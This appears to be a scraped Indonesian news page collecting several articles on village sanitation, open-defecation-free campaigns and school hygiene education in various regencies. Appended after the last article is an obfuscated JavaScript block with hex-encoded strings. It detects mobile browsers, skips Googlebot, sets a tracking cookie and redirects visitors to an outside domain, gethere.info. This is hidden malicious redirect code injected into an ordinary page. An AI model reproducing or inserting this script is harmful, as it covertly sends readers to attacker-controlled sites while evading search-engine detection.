50 Desa di Demak Dinyatakan Bebas dari Buang Air Besar Sembarangan

Bupati Natsir menyebutkan bahwa dari 249 desa atau kelurahan di Kabupaten Demak, sudah ada 50 desa yang sudah bebas dari Buang Air Besar Sembarangan (BABS).

Problem kebersihan lingkungan telah lama menjadi pekerjaan rumah Pemkab Demak. Untuk mengatasinya, ternyata tidak semudah membalikkan telapak tangan.

Diperlukan kerja keras untuk mengajak masyarakat agar mencintai kebersihan lingkungan, terutama keberadaan jamban di pinggir sungai atau kali. Bahkan, masyarakat Demak perlu pemahaman dan sosialisasi secara menyeluruh serta intensif terkait hal ini. Bupati Demak HM Natsir pun mencoba mengatasi persoalan ini dengan mencetuskan sebuah gerakan yang disebut “Sedekah Jamban”. Jika umumnya sedekah identik dengan uang atau barang, Bupati Demak menjajal terobosan baru dengan solusi sedekah jamban.

“Samasama sedekah, tapi sekedah jamban ini lebih berfungsi sebagai penjaga kebersihan dan kesehatan lingkungan warga,” sebut Bupati. Bupati mengatakan, menjaga kebersihan dari hulu, lebih baik dibanding mencegahnya saat di hilir. Salah satu hasilnya, yaitu menghilangnya jambanjamban di pinggir sungai yang selama ini telah menjadi budaya dan kebiasaan masyarakat sekitar. Keberadaan jamban di sungai selain mengganggu pemandangan, juga menjadi sarang berbagai macam penyakit. “Sekarang dapat dilihat, sungai-sungai di Demak bahkan di pelosok wilayah sudah bersih dari jamban. Warga Demak sudah menyadari arti penting kebersihan lingkungan bagi kesehatan mereka,” ungkap Natsir.

Bupati Natsir pun meraih penghargaan sebagai bupati terbaik dalam bidang kebersihan dari salah satu media massa. Terkait dengan program Indonesia Sehat, di mana salah satu indikatornya adalah satu keluarga memiliki jamban sehat, Bupati Natsir menyebutkan bahwa dari 249 desa atau kelurahan di Kabupaten Demak, sudah ada 50 desa yang sudah bebas dari Buang Air Besar Sembarangan (BABS). “Kami juga merencanakan program menuju Demak Bebas Buang Air Besar Sembarangan melalui gerakan Sedekah Jamban. Hal ini untuk membantu keluarga yang tidak mampu agar mereka juga bisa menggunakan sarana jamban keluarga sehat sehingga target 100% desa bebas BABS dapat tercapai,” tuturnya.

Pihaknya menyampaikan apresiasi dan terima kasih kepada 50 desa yang sudah bebas BABS. Demak memiliki luas wilayah 89.743 hektare yang menyimpan berjuta potensi, baik sumber daya alam maupun sumber daya manusia. Ada empat sektor unggulan yang menjadi penopang kemajuan daerah, yakni sektor kelautan dan perikanan, pertanian, UMKM, dan pariwisata. Dengan visi terwujudnya masyarakat Demak yang agamais, lebih sejahtera, mandiri, maju, kreatif, kondusif, berkepribadian, dan demokratis, salah satu misinya adalah meningkatkan mutu pelayanan pendidikan, kesehatan, dan perlindungan sosial sesuai standar.

Kesehatan merupakan hak asasi manusia dan salah satu unsur kesejahteraan yang menjadi tanggung jawab setiap orang, keluarga, masyarakat, serta didukung pemerintah. Oleh karena itu, upaya meningkatkan kesehatan harus secara kontinu dilakukan guna memelihara dan meningkatkan derajat kesehatan masyarakat dalam bentuk pencegahan penyakit, pengobatan penyakit, dan pemulihan kesehatan.

Usia harapan hidup di Demak pada 2016 mencapai 75,27 tahun atau meningkat dibanding tahun sebelumnya yang mencapai 73,85 tahun. Ini menunjukkan bahwa pembangunan kesehatan Kabupaten Demak mengalami peningkatan. Bupati Natsir juga mengajak masyarakat untuk melakukan pemberantasan sarang nyamuk secara bersamasama dan kontinu yang diharapkan dapat mencegah penularan penyakit lain yang ditularkan melalui gigitan nyamuk, seperti demam berdarah dengue (DBD).

“Kami juga telah menginstruksikan kepada seluruh kepala OPD, camat, dan kepala desa se- Kabupaten Demak untuk melaksanakan gerakan satu rumah satu juru pemantau jentik (jumantik). Gerakan ini membutuhkan peran masyarakat dengan melibatkan keluarga dalam pemeriksaan pemantauan dan pemberantasan jentik dengan pembudayaan PSN3M plus jumantik,” ujar Natsir. Diharapkan masingmasing rumah, perkantoran, sekolah, rumah sakit, masjid, dan tempattempat umum lainnya menunjuk satu petugas yang bertanggung jawab dalam pemeriksaan pemantauan dan pemberantasan jentik.

“Bupati juga mengajak masyarakat agar mau menanam tanaman pengusir nyamuk, seperti tanaman lavender. Selain itu, Bupati meminta masyarakat selalu menjaga kebersihan air serta lingkungan sekitarnya, sebagaimana slogan Satu Sampah Sejuta Masalah, maka ayo letakkan sampah pada tempatnya,” imbuh Kabag Humas Pemkab Demak Endah Cahyarini.

Sumber koran-sindo.com

Pengabdian Masyarakat, STIKes Kuningan Beri Penyuluhan Kesehatan di SMPN 1 Cibereum

Dengan adanya kegiatan Pengabdian Masyarakat ini, masyarakat bisa ikut merasakan dampak dari keberadaan kampus STIKes Kuningan.

Sejumlah dosen STIKes Kuningan melaksanakan penyuluhan cara cuci tangan yang baik dan pelatihan Pertolongan Pertama Pada Kecelakaan (P3K) pada siswa siswi SMPN 1 Cibereum Kabupaten Kuningan.

Kegiatan ini melibatkan sejumlah dosen dari Program Studi Keperawatan, Program Studi Kesehatan Masyarakat dan Program Studi Kebidanan. Kegiatan ini berlangsung pada hari Kamis, 19 Oktober 2017.

TIM pertama memberikan penyuluhan tentang pentingnya cuci tangan, kemudian diberikan langkah-langkah cara cuci tangan yang benar. Dalam pelaksanaannya mahasiswa di pandu oleh seorang dosen mulai dari pemberian pengarahan sampai simulasi di dalam kelas bagaimana cara mencuci tangan yang benar. Selanjutnya para siswa siswi diajak untuk mempraktekan langsung 6 langkah cara mencuci tangan dengan menggunakan air dan sabun. Penyuluhan ini selain diberikan kepada siswa siswi kelas IX juga ditujukan pada para kader UKS.

TIM kedua bertugas memberikan pelatihan tentang konsep dasar P3K, balut dan bidan, transportasi evakuasi pasien/korban dan penatalaksanaan perdarahan/luka. Pelatihan berlangsung di ruang aula sekolah yang diikuti oleh para kader UKS. Sejumlah kader diberikan pengetahuan tentang dasar-dasar P3K. kemudian para kader diberikan keterampilan tentang cara membalut luka dan cara membawa atau mengevakuasi korban serta penatalaksanaan perdarahan.

Respon para siswa siwi terlihat cukup baik terlihat pada saat pelaksanaan praktik mencuci tangan dimana setiap siswa ingin mencoba mempraktikan cara mencuci tangan yang benar. Begitu juga dengan para kader UKS yang mendapat pelatihan P3K, mereka terlihat sangat antusias pada saat simulasi pertolongan korban kecelakaan.

Salah satu guru menyampaikan bahwa dalam rangka mengimplementasikan komitmen sekolah dalam mewujudkan Perilaku Hidup Bersih dan Sehat (PHBS) bagi para siswa, guru dan masyarakat di lingkungan sekolah. Kami selalu berupaya untuk meningkatan pengetahuan dan keterampilan siswa siswi yang terkait dengan bidang kesehatan. Kemitraan dengan STIKes Kuningan ini merupakan wujud nyata dari upaya kami. Tidak hanya itu sekolah pun telah menyediakan tempat cuci tangan yang cukup baik disetiap kelas, adanya spanduk/poster PHBS tatanan sekolah dan poster larangan merokok yang terpampang di halaman sekolah.

Koordinator tim pengabdian masyarakat STIKes Kuningan mengungkapkan bahwa kegiatan ini merupakan bentuk nyata dari tri darma perguruan tinggi, salah satunya adalah pengabdian masyarakat. Harapannya dengan adanya kegiatan ini, masyarakat bisa ikut merasakan dampak dari keberadaan kampus.

Angka Hipertensi dan Diabetes Militus di Bulukumba Masih Tinggi

Angka Hipertensi dan Diabetes Militus di Kabupaten Bulukumba, Sulawesi-Selatan masih tergolong tinggi.

Angka Hipertensi dan Diabetes Militus di Kabupaten Bulukumba, Sulawesi-Selatan masih tergolong tinggi. Hal tersebut diungkapkan Koordinator Kabupaten Kuliah Kerja Nyata-Profesi Kesehatan (KKN-PK) Unhas, Bahri saat menyampaikan laporan akhirnya di acara pelepasan Mahasiswa KKN Unhas, Jumat (18/8/17).

“Hasil observasi menunjukkan di daerah ini, tinggi angka hipertensi dan diabetes melitus. Masih kurangnya kesadaran PHBS pada anak sekolah, masalah gizi seimbang pada keluarga, serta ditemukannya kejadian kecelakaan kerja seperti KLL, fraktur pada petani,” ujar mahasiswa Fakultas Kedokteran Prodi Keperawatan ini.

Hipertensi dan Diabetes Militus merupakan 2 kategori penyakit yang apabila tak diperhatikan secara seksama bisa berakibat fatal.

Atas temuan para mahasiswa ini pihaknya juga merekomendasi berharap masukan tersebut dapat ditindak lanjuti oleh pemerintah desa kelurahan, camat dan puskesmas, terkait tingginya angka Hipertensi dan Diabetes Militus.

“Kegiatan kami pada dasarnya hanyalah contoh, namun masyarakatlah bersama pemerintah setempat yang harus melanjutkannya,” beber Bahri.

Sementara itu Bupati Bulukumba, AM Sukri Sappewali yang melepas perwakilan mahasiswa, menuturkan sebuah kehormatan dan kebanggaan bagi masyarakat dan pemerintah Kabupaten, karena pelaksanaan KKN Profesi Kesehatan Unhas ini, telah dilaksanakan di Kabupaten Bulukumba.

Apa yang menjadi capaian, catatan, atau rekomendasi dari pelaksanaan KKN ini kata Andi Sukri, tentu menjadi masukan bagi Pemerintah Daerah dalam melaksanakan program kegiatan di bidang kesehatan, guna mewujudkan masyarakat yang sehat dan sejahtera.

“Olehnya itu saya menyampaikan terima kasih dan penghargaan yang setinggi-tingginya kepada para adik-adik mahasiswa yang telah mendedikasikan dirinya untuk melakukan pengabdian di tengah-tengah masyarakat,” ungkapnya.

Lebih lanjut, AM Sukri Sappewali mengemukakan tentu selama berada di Bulukumba terjadi dinamika di tengah masyarakat. Ia berharap yang jelek ditinggalkan, dan menimbang yang baik saja untuk dibawa pulang.

“Saya juga ingin kalian menjadi duta wisata kepada keluarga dan kerabatnya, sehingga semakin banyak orang yang berkunjung ke Bulukumba” ucapnya di depan para mahasiswa.

Seperti diketahui, sebanyak 535 Mahasiswa KKN Unhas ini melakukan praktek di lima kecamatan yang ada di Bulukumba, yakni Bontobahari, Bontotiro, Herlang, Bulukumpa dan Kindang selama dua bulan lamanya.

Secara keseluruhan program yang dilaksanakan oleh sebanyak 200 program kerja (Proker). Proker tersebut terdiri dari kegiatan fisik dan non fisik. Kegiatan fisik seperti skrening tekanan darah, sedangkan non fisik lebih banyak pada aspek penyuluhan, seperti penyuluhan Perilaku Hidup Bersih dan Sehat (PHBS), penyuluhan gosok gigi, penyuluhan ibu hamil dan penyuluhan hipertensi.

Sumber suaralidik.com

Puskesmas Palimanan Lakukan Penyuluhan 10 Indikator PHBS di Kantor Polsek

Rabu, 26/7, anggota Polsek Palimanan ada dan sebagian masyarakat mengikuti kegiatan penyuluhan PHBS dari Puskesmas Palimanan Cirebon.

Rabu, 26/7, anggota Polsek Palimanan ada dan sebagian masyarakat yang kebetulan sedang mengurus SKCK mengikuti kegiatan penyuluhan PHBS dari Puskesmas Palimanan Kab Cirebon.

Dalam kegiatan penyuluhan ini, tidak hanya edukasi PHBS saja, namun juga disampaikan mengenai Cuci Tangan Pakai Sabun (CTPS), dan bahaya Rokok.

Sebagai narasumber, Ibu Sri Rahayu, SKM menyampaikan materi tentang PHBS, Ibu Titin, AMKL tentang CTPS, dan Bp. Soleh SP, S.Kep tentang bahaya rokok.

Wakapolsek, AKP S. Sembiring menyambut baik kegiatan ini, karena di instansi masih banyak yang blm tau apa itu PHBS, dan sebagian besar masih merokok di dalam ruangan, dan ini berbahaya bagi perokok pasifnya.

Harapannya, dengan diadakan acara ini, peserta lebih memahami pentingnya PHBS dan bisa diterapkan di kehidupan sehari-hari baik di kantor, rumah, maupun dilingkungan sekitarnya.

Agar tidak jenuh, dalam kegiatan kali ini juga dilakukan senam penguin untuk mencairkan suasana.

Perjuangan Desa Sambogunung Didik Warga Hidup Bersih dan Sehat

Desa Sambogunung resmi meraih juara dan dinobatkan sebagai desa PHBS tingkat nasional pada Sabtu (15/7). Bagaimana perjuangan desa ini bisa meraih juara?

Angin berembus sepoi-sepoi. Pepohonan rindang menambah sejuk suasana. Jalan paving selebar 6 meter terlihat sangat rapi, berhiasan bunga dan tanaman di sepanjang jalan. Suasananya terasa indah dan asri.

Itu terlihat di Desa Sambogunung, Kecamatan Dukun. Tidak satu pun sampah yang terlihat berserakan. Setiap rumah ”dijaga” satu tong sampah besar. Jangankan sampah plastik atau kertas, daun pohon yang ”gugur” pun tidak tampak. Lingkungan di sana tampak bersih sekali.

Selain tong sampah, rumah-rumah dilengkapi tempat cuci tangan lengkap dengan sabun dan air yang mengalir. Rata-rata menggunakan ember dan timba yang dimodifikasi untuk tempat air.

Masuk ke RT 1A, RW 1, spanduk besar bertulisan ”Kampung Buah dan Sayur” menyambut. Spanduk itu menggantung di gapura dari bambu. Puluhan buah dan sayur mengelilingi wilayah tersebut. Total, ada 50 jenis buah dan 17 jenis sayur yang ditanam warga.

Berbeda dengan RT 3A, RW 1, kampung itu mempunyai keunggulan lain. Namanya, Kampung ASI. Sebab, kesadaran warga kampung akan pentingnya pemberian ASI eksklusif cukup tinggi. Cakupan ASI eksklusifnya maksimal, 100 persen!

Kepala Desa Sambogunung Mohammad Saiful Bahri menuturkan, warga desa sejatinya mempunyai kebiasaan PHBS sejak lama. Pada 1976 Desa Sambogunung sudah dianugerahi gelar desa sehat oleh Pemkab Gresik. Desa berpopulasi 3.500 jiwa itu ”menyingkirkan” ratusan desa lain yang juga peserta lomba PHBS. Di tingkat nasional, Sambogunung berhadapan dengan 6 kota/kabupaten dari 32 provinsi di Indonesia.

Pada 2012 desa seluas 366,5 hektare tersebut resmi mendeklarasikan diri sebagai kampung bebas buang air besar (BAB) sembarangan atau open defecation free (ODF). Dari situlah, kebiasaan PHBS mulai digencarkan.

Pemerintah desa mulai memberikan perhatian khusus di bidang kesehatan. Mulai kesehatan personal warga sampai lingkungan. ”Pada 2014 mulai digelar lomba tingkat RT,” ungkap Saiful.

Lomba tersebut berlanjut ke tingkat desa, kecamatan, hingga kabupaten. Hingga akhirnya, Desa Sambogunung lolos tingkat Provinsi JawaTimur dan melenggang ke tingkat nasional pada 4 Februari 2017.

April 2017 tim penilai dari pusat berkunjung ke Desa Sambogunung. Kebersihan dan keindahan lingkungan desa membuat tim juri kagum. Hingga akhirnya, desa itu resmi meraih juara dan dinobatkan sebagai desa PHBS tingkat nasional pada Sabtu (15/7).

Saiful menyatakan, tidak mudah mengajak warga menerapkan PHBS. Ada saja warga yang kurang peduli. Ada yang cuek. ”Ada juga yang tidak mau menanam bunga dan pohon di rumah,” jelas lelaki kelahiran 1974 itu.

Meski Saiful menemui kendala, semangatnya pantang surut. Secara perlahan, warganya yang kurang kooperatif didekati. Mulai pendekatan personal hingga kekeluargaan. ”Akhirnya sadar dan mau bersama-sama membangun desa,” katanya

Menurut dia, keberhasilan Desa Sambogunung tidak lepas dari peran semua orang yang terlibat. Mulai masyarakat hingga birokrat. ”Puskesmas dan dinas (kesehatan, Red) intens mendampingi. Itu menjadi motivasi,” tuturnya.

Bupati Gresik Sambari Halim Radianto mengaku bangga dengan Desa Sambogunung. Budaya masyarakat untuk menjaga kesehatan dan kebersihan lingkungan patut mendapat apresiasi. Hal tersebut bisa menjadi contoh desa-desa yang lain untuk mencetak prestasi. ”Harus dipertahankan dan ditingkatkan,” ujarnya. ”Desa yang lain semoga bisa menyusul,” imbuhnya.

Sumber jawapos.com

Bupati Ini Pimpin Langsung Gerakan Stop Buang Air Besar Sembarangan

Bupati menjelaskan, gerakan ODF sejalan dengan visi sanitasi Kabupaten Kuningan yaitu terwujudnya kondisi sanitasi dasar yang aman dan layak.

Budaya buang air besar (BAB) sembarangan yang dilakukan masyarakat terus dikikis oleh Dinas Kesehatan (Dinkes). Caranya dengan penyiapan sanitasi yang layak bagi masyarakat.

Karena itu, Dinkes gencar mengampanyekan gerakan Desa Open Defecation Free (ODF) atau Desa Stop Buang Air Besar Sembarangan (STOP BABS). Bahkan beberapa waktu lalu, Desa Sukadana, Kecamatan Cibingbin, dipakai lokasi deklarasi ODF.

Kali ini, Desa Ragawacana, Kecamatan Kramatmulya menjadi fokus sasaran gerakan ODF. Deklarasi Desa Open Defecation Free di Desa Ragawacana ini dipimpin langsung Bupati Acep Purnama, Ketua TP PKK Ika Purnama, Kepala Dinas Kesehatan Raji MMkes, camat Kramatmulya, dan para kepala desa se Kecamatan Kramatmulya.

Bupati menjelaskan, gerakan ODF sejalan dengan visi sanitasi Kabupaten Kuningan yaitu terwujudnya kondisi sanitasi dasar yang aman dan layak. Kemudian berkelanjutan bagi seluruh warga untuk mendukung Kabupaten Kuningan sebagai kabupaten konservasi dan wisata termaju di Jawa Barat.

Menurut Acep, faktor yang paling besar pengaruhnya terhadap derajat kesehatan masyarakat adalah lingkungan dan perilaku. Perubahan perilaku sehat ini sangatlah sulit jika semua komponen tidak mempunyai keinginan untuk mengubahnya.

“Perubahan ini dimulai dari hal-hal yang terkecil. Seperti dari diri sendiri, dan dimulai dari sekarang juga. Sehingga nantinya menjadi terbiasa untuk melakukan kegiatan yang lebih besar dalam rangka menuju pola hidup sehat,” ujarnya.

Desa yang sudah stop buang air besar sembarangan sampai tahun 2016, jelas bupati, baru mencapai 75 desa dari 376 desa dan kelurahan. Artinya baru sekitar 20,21 persen.

Untuk itu, Acep mengharapkan momentum ini sebagai awal dari pelaksanaan kegiatan penerapan sanitasi total berbasis masyarakat. Jika sukses bisa menjadi contoh bagi desa lain di Kecamatan Kramatmulya.

“Perlu kerja keras semua pihak dalam menyadarkan masyarakat tentang pentingnya perilaku hidup sehat. Saya juga berterima kasih kepada para kepala desa, aparatur desa dan masyarakat yang berhasil melaksanakan upaya menerapkan perilaku hidup bersih dan sehat (PHBS) dan sebagai desa yang sadar jamban,” pungkasnya.

SUMBER

Wali Kota Semarang Dukung Program Jamban Keluarga di Gunungpati

Gunungpati menjadi pioner kecamatan di Indonesia yang menjadi Kelurahan Total Jamban Keluarga berbasis gotong royong, dari dana hingga pembangunan jamban.

Pentingnya keberadaan jamban keluarga dalam rangka memenuhi kualitas kesehatan masyarakat menjadi perhatian serius Pemkot Semarang. Hal ini ditunjukkan melalui peresmian kecamatan Open Defecation Free (ODF) di Kelurahan Plalangan, Kecamatan Gunungpati.

Open Defecation Free sendiri adalah program yang diinisiasi Yayasan Wahana Bakti Sejahtera pimpinan dr Budi Laksono. Program tersebut bertujuan agar masyarakat tidak buang air besar sembarangan.

ODF mendorong setiap keluarga yang belum mempunyai jamban distimulasi dan didukung agar memiliki jamban. Total ada 1.649 jamban yang dibantu oleh yayasan tersebut untuk warga Plalangan.

Gunungpati menjadi pioner kecamatan di Indonesia yang menjadi Kelurahan Total Jamban Keluarga (Katajaga) berbasis gotong royong, dari dana hingga pembangunan jamban. Dengan peresmian ini, Gunungpati merupakan kecamatan keempat yang termasuk Katajaga di Semarang.

Sebelumnya Kecamatan Tembalang, Banyumanik, dan Ngaliyan sudah dibentuk Katajaga dengan menggunakan bantuan sosial Pemerintah Kota Semarang pada 2015.

“Dengan adanya ini, kesehatan warga Semarang dapat menjadi lebih bagus dibandingkan sebelumnya. Karena kotoran sudah ada tempat tersendiri untuk dibuang. Dan ini juga merupakan contoh perilaku hidup yang sehat yang sedang digalakkan Pemerintah Kota Semarang,” ujar Wali Kota Semarang Hendrar Prihadi dalam keterangan tertulis, Senin (20/3/2017).

Pria yang akrab disapa Hendi ini mengatakan Dinas Kesehatan terus melakukan upaya-upaya dalam bidang kesehatan. Khususnya pemenuhan kebutuhan sanitasi dasar dengan membangun sarana sanitasi komunal, yang meliputi sarana MCK komunal, saluran pembawa air limbah, dan instalasi pengolahan air limbah (IPAL), melalui program yang bernama ‘Urban Sanitation and Rural Infrastructure (USRI)’ di 175 lokasi kelurahan.

Sementara itu, ketua penyelenggara dr Budi Laksono menyampaikan tujuan program jambanisasi keluarga adalah memutus mata rantai penyakit menular usus. Penyakit menular usus itu di antaranya tifus, disentri, polio, hepatitis A, dan cacingan, yang saat ini masih menjadi penyebab nomor satu orang masuk rumah sakit di Indonesia, khususnya di Semarang.

Bila program ini berhasil dikembangkan di Semarang, pihaknya bersama pihak swasta akan memberikan stimulus bantuan pembangunan jamban bagi keluarga Indonesia. Budi memperkirakan keluarga yang belum memiliki jamban berjumlah sekitar 24 juta.

“Dengan pembangunan sejuta jamban tahun 2017 ini, maka tahun 2018 diharapkan 15 juta jamban akan dibangun di seluruh Indonesia dan tahun 2019 sudah selesai,” jelas Budi.

SUMBERvar _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}